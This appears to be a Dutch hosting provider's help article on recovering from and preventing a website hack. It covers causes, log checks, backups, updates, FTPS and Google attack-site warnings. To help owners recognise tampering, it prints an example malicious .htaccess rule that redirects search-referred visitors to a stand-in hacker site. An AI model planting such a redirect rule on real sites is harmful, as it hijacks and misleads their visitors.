Het is vervelend als je account is gehackt. Wij doen er alles aan om het hackers zo moeilijk mogelijk te maken maar helaas kan het toch gebeuren dat een hacker toegang tot je site heeft gekregen. Het is dan zaak de oorzaak proberen te achterhalen hoe de hacker toegang tot je systeem heeft gekregen.
Dit kan een moeilijke en tijdrovende zaak zijn maar de oorzaak/bron is belangrijk om het te kunnen voorkomen in de toekomst. Alleen alles verwijderen en een backup teruglezen is niet de oplossing.
Zorg dat je de geïnfecteerde website niet meer online zet tenzij je 100% zeker bent dat het probleem is opgelost en dat het veilig is.
Je kunt zelf via het controle paneel bij domein-instellingen(of via de optie websites bij windows hosting) tijdelijk je domein op non-actief zetten zodat de gehackte site geen verdere schade kan aanbrengen aan derden. Eventueel kun je via Installatron (linux hosting) een oude backup teruglezen of gebruik maken van onze backup module. Zorg dat je eerste alle mappen en bestanden verwijderd en daarna pas een backup terugleest anders zouden nieuw geplaatste en gehackte bestanden namelijk blijven staan.
Je kunt er ook voor kiezen om onze experts de hack op te laten lossen, omdat dit een tijdrovende handeling is is deze service helaas niet kosteloos.
Klik hier voor meer informatie.
Mogelijke oorzaken onderzoeken:
- De meest voorkomende oorzaak: Je gebruikt een script of een plugin dat niet bijgewerkt is naar de laatste versie, niet veilig is of fouten bevat. Dit kan ook een module zijn in bijvoorbeeld Wordpress of Joomla.
- Je biedt een upload mogelijkheid aan voor je bezoekers, een van de bezoekers heeft heeft een php programma geüpload en deze uitgevoerd.
- Je gebruikt voorspelbare, te makkelijke wachtwoorden of wachtwoorden die bijvoorbeeld via haveibeenpwned.com te achterhalen zijn.
- Je computer is besmet met een virus of worm/keylogger en achterhaald op die manier wachtwoorden en gebruikersnamen van bijvoorbeeld je ftp account.
- Je hebt een invulformulier gemaakt waarin bijvoorbeeld sql of php code opgenomen kan worden of een formulier zonder Captcha zodat er spam verstuurd kan worden.
- Zoek in de logfiles van de browser (in Directadmin in het menu statistiek / logs) of daar verdachte zaken voorkomen. Zoek ook in de Litespeed/Apache Usage Log en Backed up Apache logs. Zoek naar ipnummers uit vreemde landen en zoek vooral ook naar POST opdrachten in combinatie met een ipnummer uit een vreemd land. Vaak is daar dan wel iets terug te vinden. Je kunt via een site als deze www.whatsmyip.org uitzoeken uit welk land een ipnummer komt.
Hoe voorkom ik een hack:
- De belangrijkste: Zorg dat al je scripts zoals Wordpress/Joomla altijd bijgewerkt zijn met de meest recente updates. Dit geldt zeker ook voor de plugins en templates. Updates kunnen meestal eenvoudig via Installatron of via het script zelf uitgevoerd worden.
- Gebruik ftps ipv gewoon ftp
- Gebruik NOOIT JE gebruikersnaam en wachtwoord in scripts. Als dat toch moet maak dan een aparte user daarvoor aan via het controle paneel.
- Gebruik alleen bekende en gerenommeerde scripts en zorg dat ze up2date blijven.
- Biedt NOOIT upload mogelijkheden aan. Levensgevaarlijk.
Wordpress, Joomla en andere scripts, zorg dat de meest recente versie is geïnstalleerd!!
Het is belangrijk om Wordpress/Joomla en andere scripts up2date te houden. Hiermee kunnen over het algemeen hacks voorkomen worden. Via Installatron(linux hosting) kunnen heel eenvoudig updates geïnstalleerd worden. Als je Wordpress/Joomla of een ander script niet via Installatron hebtgeïnstalleerd dan kun je deze eenvoudig alsnog importeren in installatron en daarna alsnog je script updaten.
Beveiligen van mappen zoals administrator in joomla
Het is van belang mappen als /administrator extra te beveiligen. Dit artikel legt uit hoe.
Iframe hack:
Als je het slachtoffer bent van de iframe hack dan is de oorzaak vaak een trojan virus wat op je pc staat en zichzelf toegang verleent tot je FTP accounts
- Controleer of je website inderdaad gehackt is. Dat kan bijvoorbeeld via de UnmaskParasites website.
- Gebruik FTPS om in te loggen in plaats van FTP, FTP stuurt namelijk alle data in leesbare tekst door, FTPS zal de verzonden data encrypten waardoor het moeilijker is voor hackers om deze gevoelige data te achterhalen.
- Verander nu al je FTP wachtwoorden.
- Verander alle mappen (linux) via het controle paneel/file manager of via ftp in chmod 755 en alle files in chmod 644.
HTACCESS hack / htaccess is aangepast:
In onderstaand voorbeeld heeft een hacker je .htacces aangepast. Hierdoor zullen google en yahoo wel gewoon je site indexeren maar zullen alle overige bezoekers doorgestuurd worden naar de site van de hacker.
RewriteEngine On
RewriteCond %{HTTP_REFERER} .*google.*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*yahoo.*$ [NC,OR]
RewriteRule .* http://hacker.xx/in.html?= [R,L]
Google ziet je site als aanvalssite ( Gerapporteerde aanvalsite! ):
Op onderstaande links kun je informatie opvragen (vul je eigen domeinnaam in):
Op deze link kun je oa informatie krijgen maar ook een verzoek indienen om je domeinnaam/site niet meer als aanvalssite te zien. Zorg wel dat hij inderdaad helemaal opgeschoond is!
http://www.google.com/support/webmasters/bin/answer.py?hl=nl&answer=45432
- Selecteer de gewenste site in het dashboard van de Webmasterhulpprogramma's.
- Klik in het bericht 'Delen van deze site verspreiden mogelijk schadelijke software' op 'Meer informatie'.
- Klik op 'Een controleverzoek verzenden'.
